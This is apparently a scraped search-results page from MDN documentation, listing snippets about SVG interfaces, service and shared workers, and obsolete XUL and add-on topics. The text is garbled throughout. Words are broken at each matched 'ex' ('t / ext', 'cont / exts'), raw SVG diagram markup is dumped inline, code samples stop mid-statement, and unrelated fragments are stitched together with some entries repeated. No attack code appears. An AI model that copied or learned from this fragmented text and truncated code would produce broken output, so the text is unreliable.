SVGPreserveAspectRatio - Web APIs
an svgpreserveaspectratio object can be designated as read only, which means that attempts to modify the object will result in an
exception being thrown.
...it is invalid to attempt to define a new value of this type or to attempt to switch an
existing value to this type.
...it is invalid to attempt to define a new value of this type or to attempt to switch an
existing value to this type.
...And 2 more matches
SVGSwitchElement - Web APIs
ck; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">eventtarget</t
ext></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50...
..." fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="188.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">node</t
ext></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">element</t
ext></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" ...
...stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgelement" target="_top"><rect x="381" y="1" width="100" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="431" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">svgelement</t
ext></a><polyline points="481,25 491,20 491,30 481,25" stroke="#d4dde4" fill="none"/><line x1="491" y1="25" x2="499" y2="25" stroke="#d4dde4"/><line x1="499" y1="25" x2="499" y2="90" stroke="#d4dde4"/><line x1="499" y1="90" x2="482" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svggraphicselement" target="_top"><rect x="301" y="65" width="180" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="391" y="94" font-size="12px" font-fam...
...And 2 more matches
SVGSymbolElement - Web APIs
ck; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">eventtarget</t
ext></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50...
..." fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="188.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">node</t
ext></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">element</t
ext></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" ...
...stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgelement" target="_top"><rect x="381" y="1" width="100" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="431" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">svgelement</t
ext></a><polyline points="481,25 491,20 491,30 481,25" stroke="#d4dde4" fill="none"/><line x1="491" y1="25" x2="499" y2="25" stroke="#d4dde4"/><line x1="499" y1="25" x2="499" y2="90" stroke="#d4dde4"/><line x1="499" y1="90" x2="482" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgsymbolelement" target="_top"><rect x="321" y="65" width="160" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><t
ext x="401" y="94" font-size="12px" font-fa...
...And 2 more matches
Selection.deleteFromDocument() - Web APIs
the deletefromdocument() method of the selection interface deletes the selected t
ext from the document's dom.
...
example this
example lets you delete selected t
ext by clicking a button.
... upon clicking the button, the window.getselection() method gets the selected t
ext, and the deletefromdocument() method removes it.
...And 2 more matches
ServiceWorkerContainer - Web APIs
most importantly, it
exposes the serviceworkercontainer.register() method used to register service workers, and the serviceworkercontainer.controller property used to determine whether or not the current page is actively controlled.
... serviceworkercontainer.ready read only provides a way of delaying code
execution until a service worker is active.
... serviceworkercontainer.startmessages()
explicitly starts the flow of messages being dispatched from a service worker to pages under its control (e.g.
...And 2 more matches
ServiceWorkerGlobalScope.onmessage - Web APIs
note: service workers define the
extendable event to allow
extending the lifetime of the event.
... for the message event, service workers use the
extendablemessageevent interface which
extends the
extendableevent interface.
... note: messages received from service worker cont
exts (e.g.
...And 2 more matches
ServiceWorkerGlobalScope: pushsubscriptionchange event - Web APIs
bubbles no cancelable no interface pushsubscriptionchangeevent event handler property onpushsubscriptionchange usage notes although
examples demonstrating how to share subscription related information with the application server tend to use fetch(), this is not necessarily the best choice for real-world use, since it will not work if the app is offline, for
example.
... consider using another method to synchronize subscription information between your service worker and the app server, or make sure your code using fetch() is robust enough to handle cases where attempts to
exchange data fail.
... note: in earlier drafts of the specification, this event was defined to be sent when a pushsubscription has
expired.
...And 2 more matches
ServiceWorkerRegistration.navigationPreload - Web APIs
desktopmobilechromeedgefirefoxinternet
exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetnavigationpreload
experimentalchrome full support 59edge full support 17 full support 17 full support 16d...
...isabled disabled from version 16: this feature is behind the enable service workers preference.firefox full support 44notes full support 44notes notes
extended support releases (esr) before firefox 78 esr do not support service workers and the push api.ie no support noopera full support 46safari full support 11.1webview android full support 59chrome android full support 59firefox android full support 44opera android full ...
...support 43safari ios full support 11.3samsung internet android full support 4.0legend full support full support no support no support
experimental.
...And 2 more matches
ShadowRoot - Web APIs
documentorshadowroot.stylesheets read only returns a stylesheetlist of cssstylesheet objects for stylesheets
explicitly linked into, or embedded in a document.
... documentorshadowroot.getselection() returns a selection object representing the range of t
ext selected by the user, or the current position of the caret.
...
examples the following snippets are taken from our life-cycle-callbacks
example (see it live also), which creates an element that displays a square of a size and color specified in the element's attributes.
...And 2 more matches
SharedWorker() - Web APIs
the sharedworker() constructor creates a sharedworker object that
executes the script at the specified url.
... syntax var myworker = new sharedworker(aurl, name); var myworker = new sharedworker(aurl, options); parameters aurl a domstring representing the url of the script the worker will
execute.
...
exceptions a securityerror is raised if the document is not allowed to start workers, for
example if the url has an invalid syntax or if the same-origin policy is violated.
...And 2 more matches
SharedWorker - Web APIs
the sharedworker interface represents a specific kind of worker that can be accessed from several browsing cont
exts, such as several windows, iframes or even workers.
... note: if sharedworker can be accessed from several browsing cont
exts, all those browsing cont
exts must share the
exact same origin (same protocol, host and port).
... constructors sharedworker() creates a shared web worker that
executes the script at the specified url.
...And 2 more matches
SharedWorkerGlobalScope - Web APIs
for
example: importscripts('foo.js', 'bar.js'); implemented from other places windowbase64.atob() decodes a string of data which has been encoded using base-64 encoding.
... windowtimers.clearinterval() cancels the repeated
execution set using windowtimers.setinterval().
... windowtimers.cleartimeout() cancels the repeated
execution set using windowtimers.settimeout().
...And 2 more matches
loader/sandbox - Archive of obsolete content
experimental create javascript sandboxes and
execute scripts in them.
... usage create a sandbox to create a sandbox: const { sandbox, evaluate, load } = require("sdk/loader/sandbox"); let scope = sandbox('http://
example.com'); the argument passed to the sandbox defines its privileges.
... evaluate code module provides evaluate function that lets you
execute code in the given sandbox: evaluate(scope, 'var a = 5;'); evaluate(scope, 'a + 2;'); //=> 7 more details about evaluated script may be passed via optional arguments that may improve
exception reporting: // evaluate code as if it was loaded from 'http://foo.com/bar.js' and // start from 2nd line.
... code : string the code to
execute.
Drag & Drop - Archive of obsolete content
dropping files onto an xul application it's possible to setup drag and drop events to handle dropping files from
external applications or os file managers onto your xul-based application.
...n
ext, setup the handlers so that files can be dropped on the application: function _dragover(aevent) { var dragservice = components.classes["@mozilla.org/widget/dragservice;1"].getservice(components.interfaces.nsidragservice); var dragsession = dragservice.getcurrentsession(); var supported = dragsession.isdataflavorsupported("t
ext/x-moz-url"); if (!supported) supported = dragsession.isdataflavorsupported("application/x-moz-file"); if (supported) dragsession.candrop = true; } function _dragdrop(aevent) { var dragservice = components.cla...
...ponents.interfaces.nsiioservice); var uris = new array(); // if sourcenode is not null, then the drop was from inside the application if (dragsession.sourcenode) return; // setup a transfer item to retrieve the file data var trans = components.classes["@mozilla.org/widget/transferable;1"].createinstance(components.interfaces.nsitransferable); trans.adddataflavor("t
ext/x-moz-url"); trans.adddataflavor("application/x-moz-file"); for (var i=0; i<dragsession.numdropitems; i++) { var uri = null; dragsession.getdata(trans, i); var flavor = {}, data = {}, length = {}; trans.getanytransferdata(flavor, data, length); if (data) { try { var str = data.value.queryinterface(components.interfaces.nsisupportsstring);...
... } catch(
ex) { } if (str) { uri = _ios.newuri(str.data.split("\n")[0], null, null); } else { var file = data.value.queryinterface(components.interfaces.nsifile); if (file) uri = _ios.newfileuri(file); } } if (uri) uris.push(uri); } // use the array of file uris } the _dragover function checks the drag data to see if a simple t
ext file or general purpose file types are available.
Modules - Archive of obsolete content
the use of eval() will probably not be of concern because it is only being used on the
exported_symbols array which should not depend on user input.
... function importmodule (thatobj) { thatobj = thatobj || window; var
exported_symbols = [ // put the symbols here ]; // your code here...
... // at the end of your code: (assuming neither 'i' nor 'thatobj' is being
exported!) for (var i=0; i <
exported_symbols.length; i++) {thatobj[
exported_symbols[i]] = eval(
exported_symbols[i]);} } or for one-time-only usage of a module: (function (thatobj) { thatobj = thatobj || window; var
exported_symbols = [ // put the symbols here ]; // your code here...
... // at the end of your code: (assuming neither 'i' nor 'thatobj' is being
exported!) for (var i=0; i <
exported_symbols.length; i++) {thatobj[
exported_symbols[i]] = eval(
exported_symbols[i]);} })(); // can put an object argument here ...
Post data to window - Archive of obsolete content
this offers
examples of sending post data to the server and displaying the server response.
... need more elaborate
examples,
examples of displaying the response in a new tab, in background tabs, and a link to using xmlhttprequest for post requests.
... preprocessing post data the apostdata argument of the (global) loaduri(), opendialog(), and (tab)browser.loaduriwithflags() methods
expects the post data in the form of an nsiinputstream (because they eventually call nsiwebnavigation.loaduri()) while post data can be created using nsimimeinputstream.
...here is an
example: var datastring = "name1=data1&name2=data2"; // post method requests must wrap the encoded t
ext in a mime // stream const cc = components.classes; const ci = components.interfaces; var stringstream = cc["@mozilla.org/io/string-input-stream;1"].
Scrollbar - Archive of obsolete content
this
example shows how to style the scrollbars in your xul application.
...
example assumes a structure like this: app/chrome/chrome.manifest app/chrome/skin/global/ copy the scrollbars.css from xulrunner/chrome/classic.jar/skin/classic/global to app/chrome/skin/global/scrollbars.css open the app/chrome/chrome.manifest and add: skin app-global standard/1.0 skin/global/ override chrome://global/skin/xulscrollbars.css chrome://app-global/skin/scrollbars.css xulscrollbars.css are used for windows xp, and nativescrollbars.css on osx.
... so to make this work with osx, make an
extra override: override chrome://global/skin/nativescrollbars.css chrome://app-global/skin/scrollbars.css change some color values inside the app/chrome/skin/global/scrollbars.css to test that the css is used.
...
example xul window: <?xml version="1.0"?> <?xml-stylesheet href="chrome://global/skin/" type="t
ext/css"?> <window id="samplewindow" width="320" height="240" xmlns="http://www.mozilla.org/keymaster/gat...re.is.only.xul"> <hbox fl
ex="1"> <browser type="content" src="http://mozilla.org" fl
ex="1"/> <scrollbar orient="vertical"/> </hbox> </window> ...
Tree - Archive of obsolete content
expanding/collapsing all tree nodes to
expand all tree nodes: var treeview = tree.treeboxobject.view; for (var i = 0; i < treeview.rowcount; i++) { if (treeview.iscontainer(i) && !treeview.iscontaineropen(i)) treeview.toggleopenstate(i); } to collapse all tree nodes just change the condition: var treeview = tree.treeboxobject.view; for (var i = 0; i < treeview.rowcount; i++) { if (treeview.iscontainer(i) && treeview.iscontaineropen(i)) treeview.toggleopenstate(i); } getting the t
ext from the selected row assuming the given <tree>: <tree id="my-tree" seltype="single" onselect="ontreeselected()"> use the following javascript: function ontreeselected(){ var tree = document.getelementbyid("my-tree"); var cellind
ex = 0; var cellt
ext = tr...
...ee.view.getcellt
ext(tree.currentind
ex, tree.columns.getcolumnat(cellind
ex)); alert(cellt
ext); } getting the tree item from the focused row assuming <tree id="my-tree">, you can use the following to get the tree item: var view = document.getelementbyid("my-tree").view; var sel = view.selection.currentind
ex; //returns -1 if the tree is not focused var treeitem = view.getitematind
ex(sel); note that the current ind
ex may be unselected (for
example, a multi-select tree).
...for
example, assuming the given <tree>: <tree id="my-tree" onclick="ontreeclicked(event)"> use the following javascript: function ontreeclicked(event){ var tree = document.getelementbyid("my-tree"); var tbo = tree.treeboxobject; // get the row, col and child element at the point var row = { }, col = { }, child = { }; tbo.getcellat(event.clientx, event.clienty, row, col, child); var cellt
ext = tree.view.getcellt
ext(row.value, col.value); aler...
...t(cellt
ext); } getting the selected indices of a multiselect tree var start = {}, end = {}, numranges = tree.view.selection.getrangecount(), selectedindices = []; for (var t = 0; t < numranges; t++){ tree.view.selection.getrangeat(t, start, end); for (var v = start.value; v <= end.value; v++) selectedindices.push(v); } other resources xul: tree documentation xul tutorial: tree selection ...
Developing add-ons - Archive of obsolete content
mozilla based software is typically
extensible through add-ons.
... there are three primary types of add-on:
extensions, plugins, and themes.
...
extensions
extensions add new functionality to mozilla applications such as firefox, seamonkey and thunderbird.
... jetpack browser
extension development for everyone.
cert_override.txt - Archive of obsolete content
cert_override.txt is a t
ext file generated in the user profile to store certificate
exceptions specified by the user.
...since there is no way to add easily an
exception in a xulrunner 1.9 project, you can open the page in firefox, accept the certificate, then copy the cert_override.txt to the xulrunner application profile.
...
example here is an
example for a sha1-256 hash algorithm.
... oid sha1-256: oid.2.16.840.1.101.3.4.2.1 (most used) sha-384: oid.2.16.840.1.101.3.4.2.2 sha-512: oid.2.16.840.1.101.3.4.2.3 certificate fingerprint using previous hash algorithm one or more characters for override type: m : allow mismatches in the hostname u : allow untrusted certs (whether it's self signed cert or a missing or invalid issuer cert) t : allow errors in the validity time, for
example, for
expired or not yet valid certs certificate's serial number and the issuer name as a base64 encoded string ...
Using content preferences - Archive of obsolete content
this permits code running within chrome (in other words:
extensions and the browser itself, not web sites) to locally save preferences on a per-site basis.
... this makes it possible to write an
extension that lets the user customize the appearance of specific web sites (setting the font size larger on sites that use obnoxiously small fonts, for instance).
...
example: setting and retrieving preferences this
example demonstrates how to save a preference and then retrieve its value.
... var value = prefservice.getpref(uri, "devmo.somesetting"); built-in site-specific preferences preference name menu equivalent values notes browser.content.full-zoom view / zoom
example: "1.10000002384186" (rounding variant of "1.1") related about:config preferences: browser.zoom.full boolean, set by the menu item view / zoom / zoom t
ext only.
Locked config settings - Archive of obsolete content
putting into place locked configuration settings this feature
exists for mozilla and firefox, but not for thunderbird locked settings can be put into a mozilla.cfg file in the c:\program files\mozilla.org\mozilla directory.
...and to decode mozilla.cfg files: moz-byteshift.pl -s -13 <mozilla.cfg >mozilla.cfg.txt
example of an unencoded file: mozilla.cfg.txt.
...if you suspect syntax errors in your config file, you can display the
exact error message by enclosing your code in a try-catch block: try { ...
... } catch(e) { displayerror("test", e); } clear t
ext configuration if you don't care about encoding the mozilla.cfg file, append this config to all.js instead : pref("general.config.obscure_value", 0); pref("general.config.filename", "mozilla.cfg"); ...
Building TransforMiiX standalone - Archive of obsolete content
add tx_
exe=1 mk_add_options build_modules="xpcom transformiix" ac_add_options --enable-standalone-modules="xpcom transformiix" to your .mozconfig, and use client.mk to pull as usual.
... this will pull the necessary subtree with mozilla/client.mk mozilla/build/unix/modules.mk mozilla/build mozilla/config mozilla/
expat mozilla/
extensions/transformiix mozilla/include mozilla/allmakefiles.sh mozilla/client.mk mozilla/aclocal.m4 mozilla/configure mozilla/configure.in mozilla/makefile.in plus nspr and xpcom from the cvs repository.
... the binary transformiix(.
exe) will be in
extensions/transformiix/source and dist/bin/ (symbolic link).
... run it via run-mozilla.sh transformiix on unices and just transformiix.
exe on windows.
Finding the code to modify - Archive of obsolete content
click the plus sign n
ext to the statusbar node in the dom inspector and select each statusbarpanel node in turn.
... open the navigator.xul file in a t
ext editor.
... inspectorwidget the inspectorwidget
extension adds a toolbar button and cont
ext menus for invoking the dom inspector (domi) for either chrome or content elements.thus this makes it possible to save all the above dom inspector user interface diggings.
... « previousn
ext » ...
Creating a hybrid CD - Archive of obsolete content
it is used as the creator type for readme and other t
ext files because it can handle unix and windows linebreaks, but teacht
ext cannot.
... #
example filename mapping file used by mkhybrid for hfs # #
extn xlate creator type comment .hqx ascii 'sitx' 't
ext' "binh
ex file" .zip raw 'sitx' 'zip ' "zip file" .gz raw 'sitx' 'zip ' "gzip file" .tgz raw 'sitx' 'zip ' "tar.gz gzip file" .tar raw 'sitx' 'tarf' "tar file" .tif raw '8bim' 'tiff' "photoshop tiff image" .doc raw 'mswd' 'wdbn' "word file" .mov raw 'tvod' 'moov' "quicktime movie" .bin raw 'sitx' 'bina' "mac binary" .h ascii 'cwie' 't
ext' "c/c++ header file" .c ascii 'cwie' 't
ext' "c source file" .cp ascii 'cwie' 't
ext' "c++ source file" .cpp ascii 'cwie' 't
ext' "c++ source file" .
exp ascii 'cwie' ...
... 't
ext' "symbol
export file" .mcp raw 'cwie' 'mmpr' "codewarrior project file" .r ascii 'mps ' 't
ext' "rez file" .html ascii 'moss' 't
ext' "html file" .htm ascii 'moss' 't
ext' "html file" .txt ascii 'moss' 't
ext' "t
ext file" readme ascii 'moss' 't
ext' "t
ext file" changes ascii 'moss' 't
ext' "t
ext file" install ascii 'moss' 't
ext' "t
ext file" license ascii 'moss' 't
ext' "t
ext file" .gif raw 'ogle' 'giff' "gif file" .png raw 'ogle' 'png ' "png file" .jpg raw 'ogle' 'jpeg' "jpeg file" .jpeg raw 'ogle' 'jpeg' "jpeg file" .pl ascii 'mcpl' 't
ext' "perl file" .pm ascii 'mcpl' 't
ext' "perl module file" .xml ascii 'r*ch' 'te...
...xt' "xml file" .xul ascii 'r*ch' 't
ext' "xul file" .xbl ascii 'r*ch' 't
ext' "xbl file" .css ascii 'r*ch' 't
ext' "css file" .dtd ascii 'r*ch' 't
ext' "dtd file" .js ascii 'r*ch' 't
ext' "javascript file" .mp3 raw 'tvod' 'mpg3' "mpeg file" .mpg raw 'tvod' 'mpeg' "mpeg file" .mpeg raw 'tvod' 'mpeg' "mpeg file" .au raw 'tvod' 'ulaw' "audio file" * ascii 'ttxt' 't
ext' "t
ext file" for more information about recording cds, see the cd-recordable faq.
Installing Dehydra - Archive of obsolete content
make sure that the mq
extension is enabled.
...you can skip the n
ext section "building gcc 4.5" if you are using gcc 4.6 or above.
...(obsolete dehydra releases can be found on the mozilla ftp site.) hg clone http://hg.mozilla.org/rewriting-and-analysis/dehydra/ cd dehydra
export cxx=/usr/bin/g++ ./configure \ --js-headers=$home/obj-js/dist/include \ --js-libs=$home/obj-js make # run dehydra and treehydra tests make check usage dehydra checking can be performed directly within the mozilla build.
...to run dehydra manually using g++, add the -fplugin and -fplugin-arg-gcc_dehydra-script/-fplugin-arg-gcc_treehydra-script flags to specify the location of the plugin and the location of the analysis script: g++ -quiet -fplugin=$home/dehydra/gcc_dehydra.so -fplugin-arg-gcc_dehydra-script=$dehydra_script \ -fshort-wchar $cppfile -s -o /dev/null for
example, in the tests directory created by the installation procedure, i can run a dehydra script 'a.js' on a mozilla file like this: g++ -quiet -fplugin=../gcc_dehydra.so \ -fplugin-arg=a.js -fshort-wchar -fpreprocessed \ /home/dmandelin/builds/dehydra-gcc/browser/app/nsbrowserapp.ii -o /dev/null the -fshort-wchar is required for running against firefox, but not necessarily for other codebases.
Building Firefox with Rust code - Archive of obsolete content
firefox uses the rust programming language
extensively.
... if you have new rust libraries that code in libxul calls directly, then you should add the appropriate
extern crate lines in toolkit/library/rust/shared/lib.rs, and add those libraries (crates) as dependencies in toolkit/library/rust/cargo.toml.
... if you want to call code in the "e10s" crate, you would add:
extern crate e10s; to toolkit/library/rust/shared/lib.rs; you would also need to specify the path to that crate in the dependencies section of toolkit/library/rust/shared/cargo.toml: [dependencies] e10s = { path = "../../../../path/from/srcdir/e10s" } the e10s crate must also be checked into the tree at the appropriate path.
... this works even if you use the
existing vendored source location, but be aware that other vendor updates could clobber your patch in that case.
Install Object - Archive of obsolete content
extension, theme, and plug-in developers must switch away from install.js based packages to the new packaging scheme with an install.rdf manifest.
... in particular plugin developers should see how to package a plugin as an
extension.
...the following two lines, for
example, are equivalent: f = getfolder("program"); f = install.getfolder("program"); an installation script is composed of calls to the install object, and generally takes the following form: initialize the installation call initinstall with the name of the installation and the necessary registry and version information.
... perform installation check that the files have been added successfully (e.g., by checking the error return codes from many of the main installation methods, and go ahead with the install if everything is in order: performorcancel(); function performorcancel() { if (0 == getlasterror()) performinstall(); else cancelinstall(); } for complete script
examples, see script
examples.
enumValueNames - Archive of obsolete content
method of winreg object syntax string enumvaluenames ( string key, int subkeyind
ex ); parameters the enumvaluenames method has the following parameters: key the key path to the appropriate location in the key hierarchy, such as "software\\netscape\\navigator\\mail".
... subkeyind
ex an integer representing the 0-based ind
ex of the key value being sought.
... returns the value of the key as a string if it succeeded; null if the referenced subkey does not
exist.
...the following brief
example retrieves a key value using this method.
Methods - Archive of obsolete content
extension, theme, and plug-in developers must switch away from install.js based packages to the new packaging scheme with an install.rdf manifest.
... in particular plugin developers should see how to package a plugin as an
extension.
... key
exists returns whether the given key
exists or is readable.
... value
exists returns whether the given value
exists.
XTech 2005 Presentations - Archive of obsolete content
e4x marries xml and javascript syntax, and
extends javascript to include namespaces, qualified names, and xml elements and lists.
...these include plans to
expose the rdf api to public web content, as well as performance and correctness improvements.
...to realize this potential in web applications, browsers must
expose rich new graphics apis to web content.
...
extending gecko with xbl and xtf - brian ryner this session
explored ways to
extend mozilla/firefox to handle new xml tags and namespaces via drop-in
extensions to the layout engine.
autoFillAfterMatch - Archive of obsolete content
« xul reference home autofillaftermatch obsolete since gecko 1.9.1 type: boolean if set to true, the entire t
ext of the best match will be displayed at the end of the input.
... if false, only the t
ext that hasn't been entered yet will be filled in.
... the t
extbox.autofill attribute must be set to true to use this feature.
... as of gecko 1.9.1, this attribute is superseded by the completedefaultind
ex attribute.
buttons - Archive of obsolete content
extra1: an optional additional button.
... you can set its label with the buttonlabel
extra1 attribute and its command with the ondialog
extra1 attribute.
...
extra2: a second optional additional button.
... you can set its label with the buttonlabel
extra2 attribute and its command with the ondialog
extra2 attribute.
oninput - Archive of obsolete content
« xul reference home oninput type: script code this event is sent when a user enters t
ext in a t
extbox.
... this event is only called when the t
ext displayed would change, thus it is not called when the user presses non-displayable keys.
...
example <!-- this sets the label's t
ext to the t
extbox value on each keystroke.
... --> <script language="javascript"> function setlabel(txtbox){ document.getelementbyid('lbl').value = txtbox.value; } </script> <label id="lbl"/> <t
extbox oninput="setlabel(this);"/> this is similar to the onkeypress event used in html documents.
width - Archive of obsolete content
the actual displayed width may be different if the element or its contents have a minimum or maximum width, or the size is adjusted by the fl
exibility or alignment of its parent.
... in this
example, the preferred width of the inner hbox will be displayed at 40 pixels.
... the displayed width is also 40 pixels as no fl
exibility or alignment applies.
... <hbox> <hbox width="40" style="background-color: red;"> <label value="40"/> </hbox> </hbox> however, in the following
example, despite that the preferred width of the box is 30 pixels, the displayed size of the box will be larger to accommodate the larger label.
Deprecated and defunct markup - Archive of obsolete content
--neil 03 march 2011 <bulletinboard> (made to support left/top styles, but <stack> can now do as well) <gripper> (inside of <scrollbar><thumb>; not to be used by itself) <listboxbody> (internal use only; part of xbl for <listbox>) <menubutton> (
experiment in combining buttons and menus; use <button type> instead) <nativescrollbar> (displayed a native scrollbar; had been for mac only with native themes on) <outliner> (former name for <tree>; <listbox> had been "<tree>") <popup> (use menupopup) <package> (no longer present but in older documentation) <scrollbarbutton> (button at end of scrollbar; had been only within larger <s...
...--neil 03 march 2011 <sidebarheader> not true, still in use --neil 03 march 2011 <slider> (clickable tray in <scrollbar> which holds <thumb>; do not use alone) also used as part of <scale> --neil 03 march 2011 <spinner> (spinbox; <spinbuttons> with a t
extbox whereby spinning affects value in t
extbox; not usable) <spring> (use @fl
ex instead) <strut> (replaced by @debug?) <tabcontrol> (contained tabbox and tabpanel) <t
ext> (like <label> or <description> but does not wrap; like <label crop="end">; had been used in menus/toolbars) <t
extfield> (like <t
extbox>) <thumb> (<button> with deprecated <gripper>; implements sliding box in center of scrolbar) <title> (to add a caption on a <titledbox> <titledbox> (box wi...
...th a frame) <titledbutton> (attempt to combine t
ext and images before <button>) <toolbarpaletteitem> required to embed non-buttons in customisable toolbars --neil 03 march 2011 <treebody> (old/
experimental and unsupported xul tags) lives on as the internal name for the ancestor <treechildren> element --neil 03 march 2011 <treecaption> (old/
experimental and unsupported xul tags) <treecolgroup> (former name for <treecols> <treecolpicker> (internal use only; part of xbl for <tree>) <treefoot> (old/
experimental and unsupported xul tags) <treeindentation> (old/
experimental and unsupported xul tags) was a part of the old <tree> that predated <outliner> that was not converted to <listbox>--neil 03 march 2011 <treeicon> (old/
experimental and unsupported xul tags) <treerow...
...s> (internal use only; part of xbl for <tree>) attributes @debug="true" provided struts and springs around boxes to facilitate identification of fl
ex issues but does not seem to work now you need a special debug_layout build --neil 03 march 2011 references xul element reference by neal deakin rapid application development with mozilla, by nigel mcfarlane ...
International characters in XUL JavaScript - Archive of obsolete content
for
example, they can contain a line: var t
ext = "ein schönes beispiel eines mehrsprachigen t
extes: 日本語"; this mixes german and japanese characters.
... if the script file is loaded via http, the http header can contain a character encoding declaration as part of the content-type header, for
example: content-type: application/javascript; charset=utf-8 if no charset parameter is specified, the same rules as above apply.
...however, you can use unicode escapes – the earlier
example rewritten using them would be: var t
ext = "ein sch\u00f6nes beispiel eines mehrsprachigen t
extes: \u65e5\u672c\u8a9e"; an alternative might be to use property files via nsistringbundle or the xul <stringbundle> element; this would allow for localization of the xul.
...in
extensions.
buttons - Archive of obsolete content
extra1: an optional additional button.
... you can set its label with the buttonlabel
extra1 attribute and its command with the ondialog
extra1 attribute.
...
extra2: a second optional additional button.
... you can set its label with the buttonlabel
extra2 attribute and its command with the ondialog
extra2 attribute.
Toolbars - Archive of obsolete content
custom toolbar button another
example of how to create a toolbar button, complete with a sample
extension you can download and try.
... community view mozilla
extension development forums...
... mailing list newsgroup rss feed #
extdev irc channel mozillazine forum about:addons newsletter mozilla's web-tech blog mozdev project owners planet mozilla other community links...
... tools dom inspector edit the live dom (firefox and thunderbird) mozilla labs add-on builder
extension developer's
extension a suite of development tools chrome list view files in chrome:// (firefox, thunderbird)
extension wizard a web-based
extension skeleton generator (firefox and thunderbird) ...
XUL Reference - Archive of obsolete content
es prefpane prefwindow progressmeter query queryset radio radiogroup resizer richlistbox richlistitem row rows rule scale script scrollbar scrollbox scrollcorner separator spacer spinbuttons splitter stack statusbar statusbarpanel stringbundle stringbundleset tab tabbrowser (firefox-only starting with firefox 3/gecko 1.9) tabbox tabpanel tabpanels tabs template t
extnode t
extbox t
extbox (firefox autocomplete) t
extbox (mozilla autocomplete) timepicker titlebar toolbar toolbarbutton toolbargrippy toolbaritem toolbarpalette toolbarseparator toolbarset toolbarspacer toolbarspring toolbox tooltip tree treecell treechildren treecol treecols treeitem treerow treeseparator triple vbox where window wizard wizardpage categorical list o...
...f all xul elements « xul reference « windows window wizard wizardpage titlebar window structure --- menus and popups --- toolbars toolbar toolbarbutton toolbargrippy toolbaritem toolbarpallete toolbarseperator toolbarspring tabs and grouping tab tabbox tabpanel tabpanels tabs controls --- t
ext and images label caption image lists --- trees --- layout --- templates --- scripting --- helper elements other xul lists dialog overlay page window wizard wizardpage preference preferences prefpane prefwindow browser tabbrowser editor iframe titlebar resizer statusbar statusbarpanel dialogheader notification notificationbox menubar menu menuitem menuseparator menupopup...
... panel tooltip popupset toolbar toolbarbutton toolbargrippy toolbaritem toolbarpalette toolbarseparator toolbarset toolbarspacer toolbarspring toolbox tabbox tabs tab tabpanels tabpanel groupbox caption separator spacer button checkbox colorpicker datepicker menulist progressmeter radio radiogroup scale splitter t
extbox t
extbox (firefox autocomplete) t
extbox (mozilla autocomplete) timepicker description label image listbox listitem listcell listcol listcols listhead listheader richlistbox richlistitem tree treecell treechildren treecol treecols treeitem treerow treeseparator box hbox vbox bbox deck stack grid columns column rows row scrollbox action assign binding bindings conditions content member param query quer...
...yset rule template t
